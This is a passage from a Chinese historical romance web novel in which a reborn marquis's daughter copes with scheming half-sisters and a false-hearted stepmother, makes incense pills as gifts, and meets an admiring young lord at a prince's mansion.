身着鹅黄衣衫、温婉可人的姑娘是映雪的堂姐，即大姑娘苏秀蓉，着青色裙装的是庶姐二姑娘苏映蓉，还有身着淡蓝色罗裙、清丽绝伦的嫡妹四姑娘苏沁雪。
永安侯府人丁颇为稀薄，老夫人膝下仅有永安侯与二老爷，三老爷则为庶出。此外，还有一位庶出的姑姑。如今，二房和三房皆已被外放至外地，不在京城之中。在这永安侯府居住的人里，除了苏秀蓉属二房之外，其余皆为大房之人。苏秀蓉未随父母前往任上，其一是要留下来替父母尽孝，其二则是正值议亲的关键时候。
永安侯共生三子三女，原配夫人生一子一女，分别是大少爷苏璟皓和三姑娘苏映雪，继室也育有一子一女，为四姑娘苏沁雪和七少爷苏敏浩，此外还有庶出的二姑娘苏映蓉和五少爷苏璟谦。
苏秀蓉瞧见映雪，满脸欣喜地快步迎过来，拉着她仔细端详了一番，柔声问道：“听府里的丫鬟讲你昨日在马车里撞到头了，可还疼？擦过药了吗？……”一连串的关怀如潮水般涌来，映雪忍不住红了眼眶。大姐姐苏秀蓉待她就犹如亲生妹妹一般，她在心中暗自发誓，这辈子定然不会让大姐姐重蹈前世的命运。
很快，映雪迅速调整好神色，故作轻松地笑着说道：“大姐姐，我已然不疼啦，只是许久未曾吃到大姐姐亲手做的海棠酥了，不知何时才能吃上呢。”
闻言，苏秀蓉不禁笑出声来，伸出手指轻轻戳了下映雪的脸蛋，嗔怪道：“你呀，真是个小馋猫，这两日便做给你吃。”说着，两人手拉手，一同朝着老夫人所在的方向走去。
待映雪请安后，老夫人见映雪安然无恙，终是松了口气，脸上露出一丝欣慰的笑容，打趣地说道：“你这丫头，平素里就一根筋。不过此次还好，懂得灵活应变了。幸好没误了你母亲的事，可真是难得。”
映雪微微低着头，显出一副不太好意思的模样，轻声说道：“祖母，您就别打趣映雪啦。”
接着，又抬起头，目光柔和地看着老夫人，继续说道：“以前是映雪不懂事，总讲究排场，觉着这才配得上侯府嫡女的身份，却不明白，其实，真正的结果才是实实在在能带来好处的呢。”
老夫人听到映雪的话后，脸上露出诧异的神情，她未曾想到平日里执拗、又喜好奢华的孙女，今日竟能想得这般通透。
很快，诧异化作满心的欢喜，老夫人布满皱纹的脸上笑开了花，眼睛都笑得眯成了缝。她拉着映雪的手，笑意盈盈地说道：“映雪真的懂事了，祖母很是开心。”
接着，老夫人眯起双眸，目光中透着睿智，缓缓地对几个孙女说道：“真正的世家，并非仅存于表面的荣华权势，其关键在于家风传承、家族团结以及文化学识等方面。”老夫人稍作停顿，又
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接着道，“所以平日里，祖母不仅对你们的礼仪行事有所要求，对学业同样有着严格的要求。”
闻言，映雪只觉心头不禁涌起一阵酸楚。
祖母向来重视侯府的家风，对子孙辈的教育更是用心至极，一心想要将侯府培育成真正的世家风范。前世，祖母先后历经大姐姐，大哥和父亲的意外，那接连不断的打击令祖母倒下，不久便与世长辞了。
那场景，至今回想起来，都让映雪的心口犹如被揪住一般疼痛难忍。
老夫人抬眼瞧见映雪神色凝重，还以为她是在为学业而发愁。心里忍不住暗暗叹息，这丫头，向来是最为聪明机灵的。只可惜，这心思没用到正道上，也让她这个做祖母的颇为头疼。
说完，摆了摆手，让映雪她们下去玩耍了。
从荣晖堂出来，苏沁雪直接回了落雪院练舞去了，她向来对夫子平日交待的功课极为用心，尤其在舞蹈方面，更是投入了诸多精力。
前世，苏沁雪在十五岁时，参加元宵灯会，获“梅花神女”的名号，于舞台上献舞，名动京城，随后嫁入三皇子府。
苏秀蓉回了秀宁居居，说要准备海棠酥的材料。
苏映蓉带着酸意说道：“三妹妹，大姐姐对你可真好啊。”
映雪听到这话，微微一笑，眼中闪过一抹讥笑，而后回应道：“是啊，说起来我对二姐姐可比对大姐姐还要更好呢，可二姐姐眼里只有四妹妹，哪里还能瞧得上我呀，幸好还有大姐姐对我这般好。”
苏映蓉一时语塞，脸上的表情略显尴尬，苏映雪不该是担心她吃醋难过，送些东西哄她开心吗？
余光瞥见苏映蓉的神色，映雪心中不禁冷笑。她可不会再像上辈子那般愚笨，被苏映蓉巧言哄骗，傻乎乎地给她和苏沁雪送去各种好物，还总想着都是姐妹，独乐乐不如众乐乐。
大姐姐好心劝她不要这般大手大脚，可苏映蓉却在私下跟她说，大姐姐和她们隔了一房，和她们不是一条心。
后来，大姐姐被人算计出事，整日以泪洗面，苏映蓉却在私下议论，说大姐姐“当众被人从水中救起，却不想嫁，怎么不以身示清白，分明就是故作矫情，还害得家族蒙羞。”这话传到大姐姐耳中，导致大姐姐自杀身亡。
想到这些，映雪的眼神中闪过一丝寒芒，也不想再搭理苏映蓉，转身回了映月阁。
苏映蓉见映雪不理自己，望着映雪离去的背影，眼神中倏地闪过一丝阴沉。
映雪回了映月阁，刚坐下没多久，采薇便拿了张大红请柬走了进来，脸上挂着笑，将请柬递上：“小姐，嘉柔郡主给您送了请帖过来，约您前往豫亲王府呢。”
6. 继母
映雪打开请柬，随后，竟不由地笑出声来。只见嘉柔在信中写道，她偶然间得到了来自海外的奇异香料，还特意说明映雪定然不识，故而叫映雪前去长长见识呢。
她和嘉柔郡主也算不打不相识，她们二人都对收集香料兴趣浓厚。有一次，两人同时看中了铺子里仅有的一块香料，谁也不肯让步，僵持许久，最后那老板想出个主意，让两人进行一场品香比试，谁胜出谁便能得到那块香料，两人欣然应允。
最终，映雪以微弱优势险胜。
自那以后，两人竟成了好友。
再后来，她又通过嘉柔郡主结识了清平县主，三人就此成为亲密无间的闺蜜。
可前世，她们三人的结局皆令人唏嘘，嘉柔被庶妹设计陷害，成为和亲公主，远嫁异国；清平则嫁给了太师府的嫡长孙，婚后才惊觉夫君的屋里竟有十几个妾侍和通房丫头，终日深陷于内宅争斗的泥潭之中。
想到这些，映雪的神情不禁有些黯淡，但随即，她的眼神又倏地一亮，她既然能够重活一世，那必然能够改变身边这些人的命运。
映雪吩咐身旁的丫鬟把她以前收集的香方找出来，她曾在制香方面有些独特心得，那些心得都被她夹在了香方里面。
正在收拾屋子的白芷走了过来，轻声提醒映雪道：“姑娘，香方前段时间被四姑娘借去了，还在落雪院。”
映雪这才想起前世，苏沁雪在获得梅花神女名号之前，宫中有位妃子患上了郁症，妃子的亲人不惜重金求方，是她献出了一张香方，使得那位妃子的病情得到极大改善，还因此被当今圣上夸赞，成为名副其实的贵女。
后来苏沁雪在府中举办宴会，众人皆对她极力吹捧，夸赞她被皇上夸奖之事，映雪一时心中泛起酸意，便称那方子是她的，苏沁雪当时的解释含糊不清，众人皆以为她是想抢夺嫡妹的功劳。
映雪的心中划过一道冷意，这辈子，她绝不会再为他人作嫁衣裳。
随后，映雪带着丫鬟前往落雪院。
落雪院，只见院中的丫鬟及婆子们一个个神色肃穆，瞧见映雪走来，赶忙行礼，随后其中一人便匆匆跑去禀报。待映雪踏入屋内，原来大夫人也在。
大夫人见映雪过来，脸上即刻浮现出和蔼的笑容，向映雪招手让她到自己身边。映雪恭敬地行礼，大夫人扶起她，而后笑着说道：“映雪怎么来了？母亲正要去映月阁找你呢。”
映雪嘴角微微上扬，露出甜甜一笑，轻声说道：“母亲找我，可是有事？”
大夫人笑容温和，轻轻点头，目光中满是慈爱，缓声说道：“你们父亲过几日就回来了，他向来重视你们的学业，到时定会检查你们的功课。这段时日你们可不能懈怠学习。到时得了父亲的夸赞，父亲定会奖赏你们。”
映雪的心底不禁泛起一丝冷笑，大夫人明知自己向来厌恶学习，会想尽办法躲避，这才特意这般言说吧。想起往日，每次爹爹要检查功课之时，自己不是谎称生病逃避，就是送东西求苏映蓉、苏沁雪帮忙代写。平日里，生怕被爹爹问及功课，甚至还刻意避开爹爹。
大夫人是她的继母，在她出生没多久，她的亲生母亲便因病离世。两岁那年，永安侯府娶了她做续弦。大夫人向来对她关怀备至，甚至比对四妹妹还要好。
大夫人对苏沁雪的功课那般严苛，可若真是一心为她好，又怎会这般纵容她肆意胡为呢？她不想学习了，便就这般任由她去糊弄爹爹。
映雪于心底暗自哂笑，自己从前真是愚笨至极啊，别人家的子女皆是绞尽脑汁地设法引起父亲的关注，可唯独她却还故意躲避，幸好父亲没因此恼了她。
映雪深吸一口气，平复着内心的起伏，脸色恢复如初，嘴角微微上扬，绽出一抹笑容，轻声说道：“谢母亲教诲，以前的确是映雪不懂事，总是让爹爹失望。但此次，映雪定会好好悔改，绝不会再让爹爹失望了。”
闻言，大夫人的脸上虽带着笑容，可那笑意却未达眼底，欣慰地说道：“你能明白便好，以往，每每提及功课，你这丫头就佯装头疼，母亲也是对你无可奈何，生怕害了你。”
映雪乖巧地连连点头应是。
苏沁雪一脸好奇地看着映雪来到此处，眨巴着眼睛问道：“三姐姐怎么来落雪院啦，是有什么事情吗？”
映雪轻轻点头，带着笑意说道：“前段时日，四妹妹从我这里借走的那些香方，不知道可看完了？我今日特意来拿。”
苏沁雪一听，顿时有些语塞，表情略显尴尬，其实那些香方她借回来后根本就没打开看过。她只是因为不忿三姐姐凭借品香之事与嘉柔郡主、清平县主成为好友罢了。
三姐姐还真是好运，苏沁雪眼里闪过一丝嫉妒，恰好被映雪捕捉到了。
苏沁雪撇嘴道，“三姐姐拿回去吧，我已经看完了。”说罢，朝身边的丫鬟使了个眼色，丫鬟会意，把香方盒子取了过来。
映雪拿到盒子，没有多作停留，旋即起身，向着大夫人福身，缓声说道：“母亲，那映雪就先回去了。”
大夫人望着映雪离去的背影，随即脸上的笑容消失，眼神也沉了下来。
映雪回到映月阁，而后吩咐身边的丫鬟道：“我要出府一趟，你去将马车备好。”
丫鬟匆匆离开去安排。
再出来时，映雪身着深紫色拖地长裙，裙上绣着大朵牡丹，腰间系着淡紫色丝带，勾勒出纤细的腰肢，梳着凌云髻，紫玉花簪斜插其中，旁有浅紫绢花点缀，浑身散发着神秘高贵的气质。
随后，映雪带着绿绮，登上了侯府早已准
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备好的马车。
采薇瞧着，心里不禁泛起嫉妒，对着旁边的白芷说道：“白芷姐姐，你有没有发觉姑娘从昙华寺回府后，似乎更为亲近竹韵和绿绮了？竹韵倒也罢了，以前姑娘出门，何时单独带过绿绮呀，向来都是带的白芷姐姐您。”
闻言，白芷在心里暗自思忖，莫不是姑娘还在为去昙华寺之事生她的气？可她今早替姑娘梳妆时，并未察觉姑娘对她表露过不满。她沉着脸对采薇说道：“姑娘爱带谁去便带谁去，你管这般多作甚。”言罢，自顾自地走了。
采薇见此情形，心中暗自腹诽：谁不知道她那日惹怒了姑娘，在自己面前得意个什么劲。
绿绮见姑娘竟只带她一人出府，也高兴不已，一柱香的工夫，马车便抵达了庆云街。庆云街不愧是京城中最为热闹繁华的街道，人来人往，喧闹异常。
下了马车，东逛西逛，费了不少力气，总算将她所需的香料都买齐全了。
映雪准备制些香丸送给嘉柔，这个法子还是她从那古老的炼丹术古籍中得来的呢，还不知道能不能成功。
逛了许久，映雪也着实累了，便对绿绮说道：“今日的午膳就在外面用吧，用过膳后我们再回府。”
恰好抬头，一眼便望见了对面的千味楼，脑海中忽地想起那小厮提及过的烧鹅，瞬间勾起了她的食欲，随后她便开口说道：“就去对面的千味楼吧。”
绿绮微微皱起眉头，很不赞同地说道：“姑娘，酒楼人多且杂，若是不小心冲撞了姑娘该如何是好？”映雪却是丝毫不以为意，脸上带着轻松的笑意，“在这天子脚下，难道你还怕会碰到地痞流氓不成？”说着，便毫不犹豫地径直朝着对面走去，绿绮见状，也只得赶忙跟上。
待到行至千味楼时，迎客的小二一眼看到映雪她们二人，眼眸瞬间一亮，格外殷勤，脸上堆满讨好的笑容，恭敬地将她们迎进了二楼的包间。
因是在府外，也没那么多规矩讲究，映雪便让绿绮也一同坐下。
映雪点了几道招牌菜以及几道精美的点心，这千味楼的烧鹅果然名不虚传，映雪顿时胃口大开，吃得津津有味，一旁的绿绮看着姑娘吃得这般欢快，恨不得去抢过姑娘的筷子，吃这么多怕是会积食。
待她们用完膳，正准备下楼之时，映雪不经意地转头，余光恰好瞥见昙华寺的那位世子和小厮，正从门外迈步走进来。一瞬间，脑海里猛地闪过玉佩之事，心神也瞬间恍惚了一瞬。
这一恍惚间，一脚踩空了台阶，整个身子刹那间失去平衡，直直地朝着下方跌落而去。
“啊！”她惊恐地尖叫了一声，随后便吓得紧紧闭上了双眼，大脑在这一刻完全变得一片空白。
紧接着，随后耳边便响起绿绮那充满恐惧的惊叫声，“姑娘……”
7. 香丸
然而，预想中的疼痛并未降临，缓缓睁开双眼时，恰好对上了一双如繁星般璀璨的眼眸，那剑眉微微蹙起，她这才惊觉自己正稳稳地被那位世子抱在怀中。
映雪羞得满脸通红，赶紧推开他，跑出了千味楼。
绿绮跟在后面，对许牧舟连连道谢，就追了出去。
心里却是后怕不已，要是姑娘真在这里出了事，自己怕是要以死谢罪了。
随从双喜跟了过来，一脸惊奇地问道：“世子爷，您平日不是对女子退避三舍吗？今日怎会主动英雄救美。”再细看，“咦，那不是桃花姑娘吗？”
许牧舟皱起眉头，转头望向门外，紫色身影已不见，心中有些怅然若失。
他自己也觉得奇怪，向来对女子敬而远之，可那女子一出现他就认出，听到她尖叫，便不由自主地急切上前救她，莫非还真是他的命定之人？
一时间不禁对那女子心生好奇，随后抬手拍了一下双喜的后脑袋，说道：“哪来那么多废话，赶紧去查一查那女子的身份。”
闻言，双喜兴奋不已，世子爷总算是开窍了。
出了千味楼，映雪才冷静下来，也对自己刚才的举动懊恼。
绿绮眼尖地发现姑娘头上的绢花少了一朵，忙提醒道：“姑娘，您头上的绢花少了一朵。”
映雪愣了一下，应当是刚才挂到那位公子身上了，她也没脸去讨要。随即把头上另一朵绢花取了下来，丢给绿绮，“这朵绢花就赏给你吧。”
绿绮满心欢喜。
回了映月阁。
映雪端坐在桌前，拿出笔墨，而后神色专注地在纸上勾勾画画起来。不多时，停下手中动作，唤了竹韵过来。吩咐道：“你且安排人，按照我这图纸，在这映月阁中寻一处偏室，将其改造成静逸庐。”接着，她又微微蹙了下眉，继续说道：“里面需要置办的东西，我稍后会列个详细的清单给你，你尽快安排人去购买，越快越好。”竹韵应了一声是，随后便匆匆离去，着手安排相关事宜了。
竹韵的办事能力出色，一天的时间，静逸庐就打造完成，且与映雪心中所设想的模样分毫不差，映雪欢喜不已，忍不住对竹韵夸赞道：“竹韵，你可真是厉害，它简直就和我在脑海中想象的模样完全一模一样呢！”又接着道，“我梳妆盒里的簪子，你去挑一支吧，赏赐于你。”
映月阁中，一众丫鬟们望向竹韵的眼神中满是羡慕之色，但也知晓自家姑娘向来大方，只要她们好好做事，也定会得到姑娘的奖赏。于是，在接下来的几天里，这些丫鬟们一个个都像是打了鸡血一般，做事积极得很。
接下来三天，映雪除了去如意院和荣晖堂请安，哪里也没去，一直在映月阁炼制香丸。
映雪着素雅白衣端坐桌前，各种器具和香料摆在面前。她束着长发，专注凝视香料，纤指拈香料入钵，拿起捣杵轻缓碾压，动作轻柔有节奏。她不时轻嗅香气并蹙眉调整比例，接着将调配好的香料放入模具按压成型，再不断调整烔炉的火焰及时长，反反复复，香丸显现。
再经过多次调整，终于在第三天，晶莹剔透的香丸出炉。
映雪兴奋得难以自抑，随后她将精心制作好的香丸轻轻丢至香炉之中。只见那香丸一进入香炉，便开始慢慢燃烧起来，丝丝缕缕的香气愈发浓郁，如烟似雾般在空气中缓缓飘散开来。渐渐地，整个映月阁都被这醉人的芬芳严严实实地笼罩其中，仿佛变成了一个香气四溢的梦幻之境，让人沉醉其中，难以自拔。
映月阁的丫鬟们一个个都惊叹得张大了嘴巴，随后用力地吸着周围的空气，似乎想要把这美妙的香气都吸进自己的身体里。她们还从来没有闻到过如此好闻、如此浓郁的香气呢。没想到三姑娘制香的技艺竟这般厉害，简直如同香神下凡一般，能调制出如此令人陶醉的香味。
映雪仔细地将几颗精心制好的香丸妥善收拾起来，接着神色郑重地吩咐竹韵道：“竹韵，你把这里好好收拾一下，我记录的那些制香方子，你务必亲手将其烧毁，千万不能让其有任何流出的可能。”
竹韵看映雪那满脸倦容的神色，心疼不已，也深知这些方子的重要性，不敢有丝毫怠慢，赶忙连连应是，催着姑娘去休息，随后便动手收拾静逸庐。待将方子放入火中，看着它们化为灰烬后，才放心地离去。
映雪忙碌了三天，此刻她只想赶紧回到床上，安安稳稳地睡上一觉。
景阳侯府里，双喜正满心欢喜、兴冲冲地带着他好不容易打听来的消息，急急忙忙地向许牧舟跑去邀功，嘴里欢快地说道：“世子爷，小的已经打听到那位姑娘的身份了。”说着，停了下来，想看世子爷的神情。
许牧舟把手中的兵书放了下来，眼神中暴露出期待，双喜咧嘴一笑，也不卖关子，说道：“那位姑娘是永安侯府的三姑娘，今年十四岁，还未订亲呢，与世子爷正是门当户对呢。”
当然，就算那位姑娘是位农女，侯府也不会介意，以景阳侯府的权势，根本无需通过亲事来锦上添花，双喜在心里暗自腹诽。
许牧舟的眉头皱起，心中暗自思忖，才十四岁啊，年纪可真小。
抬起头时，恰好对上双喜那满
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是调侃的眼神，顿时怒声道：“瞎说什么呢，爷是在关心那玉佩！”
双喜瞧着世子爷这嘴硬的模样，也不去揭穿，只是笑呵呵地应道：“爷说什么那自然就是什么了。”
接着便传来了世子爷气恼的声音，“快点滚吧你！”
双喜毫不在意，笑着正要离去。走在半道，突然拍了一下自己的脑袋，随后停下脚步，转过身来，朝着许牧舟喊道：“世子爷，小的刚刚忘记了，还有一件关于那姑娘极为重要的事情没说。”
话音刚落，就听到世子爷的怒吼声如惊雷般炸响，“给我滚回来！”
双喜在心里暗自偷笑，他晓得世子爷就爱嘴硬，不得不说，这炸了毛的世子爷着实有趣得很。
当然，他也不敢再惹怒世子爷了，否则真要被世子爷罚一年的月钱了，于是，认真地说道：“那位姑娘明天会去豫亲王府，和嘉柔郡主有约。”说罢，赶紧溜走了。
闻言，许牧舟剑眉微微一挑，脸上的神色瞬间变得有些微妙。
晚膳后，许牧舟闲着无事便在院子里练了一会儿剑。
洗漱完，换上了一套素雅的衣服，随后去了书房，悠然地坐在书桌前，手里拿着一卷兵书翻看，不一会儿，眼神却飘向了窗外，突然，像是想到了什么，快步走到书桌前，拉开抽屉，开始在里面翻找起来。
他不禁皱起了眉头，脸色也微微沉了下来，随后对着门外喊道：“双喜，你进来一下！”
双喜闻声赶来，一脸疑惑地问道：“世子，怎么了？”
许牧舟皱眉问道：“这两天临风轩可有人来过？我放在抽屉里的那朵绢花怎么不见了，你找找看。”
双喜听后，嘀咕道：“世子爷，谁会拿朵绢花啊，又不值钱，是不是世子记错了，没放在抽屉里？”许牧舟顿时没好气地回道：“那么多废话干嘛？让你找就找。”
双喜赶忙应了声：“哦。”接着便在各个抽屉找了起来，找了半天，也没找着，他也觉得十分奇怪，嘴里嘟囔着：“真是奇怪，临风轩平时除了打扫的丫鬟，不会有人进来，怎么会不见了呢。”
随后他抬头对着许牧舟说道：“世子爷，要不奴才去问一下院子里的丫鬟？”许牧舟没有反对，只是微微点了点头。
很快，双喜就问完丫鬟走了进来，脸上带着一种同情的语气说道：“世子，听丫鬟说，下午许嬷嬷来过了，离开时脸上还带着激动的神情呢。奴才猜，绢花定是被许嬷嬷拿去给夫人了吧。”
许牧舟听后，只觉得脑袋都大了起来，脸上露出一丝无奈和懊恼。
8. 品香
一夜好眠，醒来，只见竹韵笑意盈盈地走进屋来，端着映雪今日去豫亲王府赴约的衣裳。
黛绿色彩绣蕊碟烟罗留仙裙，搭配着一支金累丝镶珠碟形簪，衬得映雪愈发空灵娇俏。
待用过早膳，映雪便带着香丸前往荣晖堂。苏秀蓉、苏映蓉和苏沁雪都已到了。
老夫人坐在堂中，见映雪过来，满脸慈爱地招手让她到身边坐下。映雪行过礼，老夫人含笑问道：“你这丫头，这几日都在映月阁折腾什么呢？”映雪俏皮地吐了吐舌头，娇声道：“祖母，映雪有好东西要送给您呢！”说着，便示意竹韵把东西拿上来。
映雪轻柔地接过盒子，在老夫人眼前打开。
玲珑剔透带着淡紫色的香丸呈现眼前，一颗颗香丸宛如蜜珠般圆润可爱，色泽温润，好看极了，老夫人不禁惊讶地问道：“映雪，这是何物？”
映雪嘴角含着温婉的笑意，柔声说道：“这便是我这几日精心炼制的玲珑香丸。”
老夫人满脸惊讶，她这辈子都未曾见过这种新奇的香丸，好奇地伸手从盒子里取出一粒，放到鼻尖轻轻嗅了嗅，眉头却微微皱起，竟无一丝香味传来。
映雪只是微笑着并不解释，而后便吩咐老夫人身边的秦嬷嬷道：“秦嬷嬷，麻烦您去帮我把香炉点火。”
紧接着，映雪就将一粒香丸优雅地丢进香炉中燃烧。慢慢地，香炉中升起袅袅的云雾，如烟似幻，犹如身姿婀娜的美人翩翩起舞，丝丝缕缕地弥漫着整个荣晖堂。
“好特别的香！”老夫人忍不住赞叹道。
众人的眼睛紧紧盯着那麒麟香炉，这么小小的一颗，如同珠子般的香丸，竟然能够散发出如此纯净且幽远的香气。
就连一向清高自傲的苏沁雪，此刻也忍不住目露好奇之色，她望向映雪，轻声说道：“三姐姐，这是安魂香吗？闻起来好似安魂香的味道，又有些不像。”苏秀蓉和苏映蓉也跟着连连点头，脸上满是惊奇。
映雪微笑着点了点头，应道：“不错，这个就是安魂香的改良版，叫逸香丸，比普通的安魂香效果更加显著。”
老夫人脸上笑开了花，连连夸赞映雪道：“祖母就知道映雪最为冰雪聪明了，这份礼物祖母很喜欢，你想要什么奖赏，祖母都愿意赐给你。”
映雪轻轻摇摇头，“只要祖母身体健康，长命百岁，就是映雪最好的礼物了。”听言，老夫人心瞬间软成了一摊水，满脸慈爱地把映雪紧紧搂进怀里。
苏映蓉在一旁听着，心里满是诧异，“这苏映雪的嘴巴是抹了蜜吧，她什么时候能说出这么哄人的话了。”她暗暗想着，目光不经意间瞥见竹韵手中还有一个盒子，便好奇地问道：“三妹妹，你丫鬟手上还有一个盒子，是要送给母亲的香丸吗？”
映雪微微挑眉，不紧不慢地说道：“这是送给嘉柔郡主的，郡主约了我去王府品香，我一会儿就过去。”接着又缓声道，“送给母亲、父亲、大哥，还有你们的香丸等我回府后，重新买香料和药材再炼制，之前的材料都耗费光了。”
老夫人听了这番话，心里暗自点头，眼中满是欣慰。映雪还是一如既往的大方得体，把每个人都能照顾周全。
苏沁雪忍不住问道：“三姐姐送给郡主的也是安魂香吗？”
映雪轻轻摇头，缓声道：“送给嘉柔郡主的香丸叫‘缥缈香’，适合年轻女子，且有养颜美容之效。”
苏沁雪听了，眼热得不行，心里懊悔之前借来的香方没有钻研，更后悔没有把那些香方损坏。她的眼底闪过一丝不易察觉的暗芒。又想到映雪可以去豫亲王府，心里顿时升起一丝嫉妒，豫亲王府门第高贵，豫亲王世子才貌双全，要是能嫁进去……
忽然，她又释然了，心中暗想：映雪可配不上豫亲王世子，去再多次也是无用。
众人在屋里笑闹了一会儿，映雪便带着竹韵出了府。
永安侯府离豫亲王府不远，就隔着两条街，住在那一带的人，要么是皇亲国戚，要么是天子近臣，都是皇上跟前的红人。
豫亲王府朱红的大门巍峨矗立，两只雄壮的石虎静卧在两旁，银晃晃的镏银匾额在阳光映照下，散射出耀眼的光芒，门口站着的护卫面色冷峻。
映雪因与嘉柔郡主交好，也来过几次，这些护卫都认得她。
门里走出来个微胖的婆子，笑容满面，极为和善，“真巧了，郡主才吩咐奴婢过来就碰到三姑娘了。”
映雪歉意笑道：“让郡主等急了。”
刚要抬脚踏上台阶，就听得阵阵蹄声传来，眨眼间，两匹骏马便风驰电掣般疾驰而来。映雪不由自主地转头望去。
黑色骏马上坐着一个身着淡雅长袍的男子，其眉宇间流露出的神韵，以及举止中所展现的优雅，无一不彰显出那份清贵不凡的气质。
棕色骏马上的男子剑眉飞扬，那双眼目若朗星，身姿挺拔得犹如苍松，举手投足间尽显英俊潇洒之态，此人正是映雪脖子上那玉佩的主人。
映雪万没想到会在这里碰到，瞬间有些尴尬，忙低下头假装没有看见。
两人利落翻下马，豫亲王世子走上前来，朝着许牧舟介绍道：“她是永安侯府三姑娘。”而后又笑着对映雪说道：“你先进去吧。”
映雪也丝毫不作扭捏，向两人盈盈行礼，便先行进了府。此时，耳边还传来一道带着几分撩拨意味的声音：“哦，原来是永安侯府三姑娘。”映雪一想到千味楼的事，顿时有些脸红，恨不能拔腿就跑。
许牧舟的眼神一直紧紧盯着映雪，心中不由得有些郁闷，暗自思忖：自己有这么可怕吗？至于见着他就像避猫鼠一般躲着。
竹韵见映雪走得气喘吁吁，回头看了一眼，说道：“姑娘，他们走的是另一条道，你不用这么着急。”
映雪这才停下来，深吸一口气，见领路嬷嬷正笑着看她，不禁有
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些脸红，赶忙岔开话题问道：“郡主是在王妃院子还是在嘉和居？”
嬷嬷的神情中流露出些许伤怀，缓缓说道：“在嘉和居呢，王妃咳得厉害，怕传染给三姑娘，三姑娘不用去请安了。”
映雪听闻，心中不禁泛起一阵难过，王妃前世熬了两年，便病逝了。也正因为没了亲娘，嘉柔才会被庶妹算计。要是王妃的病能治好该多好。想到此处，她也安慰起嬷嬷来：“嬷嬷莫要担心，王妃如此良善，一定会有上天眷顾的，这病定会好起来。”
嬷嬷笑得温和，轻轻点了点头，而后便把映雪领到了嘉和居。
一个年纪约莫十三、四岁的姑娘走了出来，身着淡粉色的裙衫，上面绣着的可爱白兔，随着她轻快的走动，那白兔仿佛活了过来，竟似欢悦地跳跃起来一般。
她上前亲昵地拉住了映雪，说道：“你可算来了，走，带你去看我好不容易得来的香料，我平日里都舍不得用呢，特地等你过来。”
映雪低头轻笑，回道：“那我今日可要沾你的光，好好地开开眼界了。”接着又说道：“今日我也有带香送给郡主。那咱们就比比，看是哪款香更特别。”
嘉柔郡主满脸不信，傲娇地说道：“那肯定是我这款香更特别。”说着，便让丫鬟把香盒取了过来。
打开香盒，只见里面是金黄色的香粉，那香粉一经暴露在空气中，便散发出一种微香。
待把香粉倒入玉兔香炉中燃烧，不一会儿的功夫，香气便如灵动的精灵般弥散整个嘉和居，令人心旷神怡。
映雪眼神微亮，由衷地夸赞道：“确实是一款绝佳的好香，香气浓郁空灵，仿若身处于仙境之中。”
嘉柔郡主闻言得意一笑，说道：“此香叫做荼芜香，是从海域那边过来的，听说焚烧此香后，香气会附在衣服上长达一个月都不散呢。”
又接着问道：“你带的是什么香，快拿给我瞧瞧。”
映雪微微一笑，示意竹韵把香盒呈上。嘉柔郡主迫不及待地打开香盒，只见六粒晶莹剔透的浅粉色香丸展现眼前。嘉柔郡主一瞬间就被吸引住了，不禁赞叹道：“真好看，这也是香？”说着，就从盒中取出一粒放到鼻前轻轻一嗅，却皱起眉头道：“怎么无一丝香气？”
映雪并未作答，只是顺手就把嘉柔郡主手中的那粒香丸取走，然后优雅地丢至香炉中。
只见那香丸一投入香炉，便开始徐徐燃烧起来。缕缕袅袅的香气愈发醇厚，渐渐地，整个嘉和居都被这迷人的芬芳密密层层地环绕其中，香气迷人，令人心驰神往，流连忘返，仿佛置身于梦幻之中，久久不愿离去。
香气宛如轻盈的仙子，慢悠悠地飘散至隔壁的清辉院。
豫亲王世子忍不住叹道：“真是‘芬芳袅袅绕梁间，香气悠悠醉心田。’”
许牧舟亦跟着由衷地赞叹道：“好一款特别的香气，少臣兄，不知可方便过去鉴赏一番？”
9. 兴趣
嘉柔郡主旋即惊喜万分，追问道：“这是何香？竟比荼芜香香味更为纯净、浓郁，外观亦是这般玲珑可爱。”
映雪浅然一笑，道：“这是我自行炼制的玲珑香丸，名曰‘缥缈香’。它不但香味纯净悠长，还具美容养颜之功效。”
闻此，嘉柔郡主眼神瞬间大放光彩，激动地趋前抱住映雪，“映雪姐姐，你待我真好，我简直喜欢极了。”
映雪刚欲言语，外边有丫鬟进来禀报：“郡主，世子与景阳侯世子来了，言闻嘉和居传出的香味，也欲过来品鉴一番。”
映雪挑眉，竟是景阳侯世子，她倒是听闻过有关景阳侯世子的传言，据说其极度不喜女子靠近，故而也甚少参与宴会，难怪自己不识得。
嘉柔郡主见映雪神情发怔，以为她在意女子清誉，含笑道：“无妨，那是我大哥，况且还有众多丫鬟、婆子在呢。”接着又捂嘴笑道：“至于牧舟哥哥，就更无需担忧啦，他向来对女子避之不及。前不久在宫中，侯夫人向太后诉苦，欲让太后为他赐婚，牧舟哥哥却道，要找一个‘其形也，翩若惊鸿，婉若游龙’的女子。”差点将侯夫人气晕，还罚他去昙华寺面壁思过呢！”
映雪心中暗自思忖，想来那次在昙华寺碰到便是为此事了。
随即，门外传来一阵异动，紧接着两位俊逸男子步入室内。
嘉柔郡主扭头，便跑去拽着其中一位男子的衣袖，邀功一般说道：“大哥，你快来瞧瞧映雪姐姐制的香丸，保准让你大吃一惊。”
郑少臣扶额，妹妹这贵女礼仪都学到哪儿去了。
许牧舟亦随之走上前来，二人见到盒子里的玲珑香丸，皆十分惊愕，郑少臣问道：“方才从嘉和居飘至清辉院的袅袅香气便是由它散发而出的？”
嘉柔郡主赶忙点头，“对啊，它不但好看，好闻，名字动听，还能够美容养颜呢，大哥，你说神不神奇。”
郑少臣赞叹道：“未曾想三姑娘竟有此等巧技，着实令人佩服，佩服。”
映雪面色微红，“不过是些许巧思罢了。”
许牧舟打断二人，盯着映雪问道：“市面上尚无此种色泽的香丸，你可是采用了炼丹制法？香丸中是否添加了某些药材？”
映雪未料到景阳侯世子仅凭香丸色泽和疗效便猜到这些，缓缓颔首道：“不错，正是用了炼丹术。一般的香料只是将其原有的香味提炼出来，再制成常用的香粉、香膏、香线等，为避免破坏其特有的香味，通常不会增添其他东西。”接着又道，“我曾于古籍中看到，药材并非一定得服用，有些通过特殊制法，其气味亦能发挥效用，故而我便尝试了一番。”
许牧舟点头，心中暗忖，这丫头着实令他刮目相看。
映雪见许牧舟点头，却不言语，心中不禁有些微嗔，他究竟是何意？
郑少臣却若有所思，向映雪问道：“倘若在香丸中添入止咳的药材，是否对咳嗽能有一定的缓解之效？”
闻言，映雪知晓世子是念及王妃的病情，沉吟须臾，道：“可以尝试，但无法确保成效。”
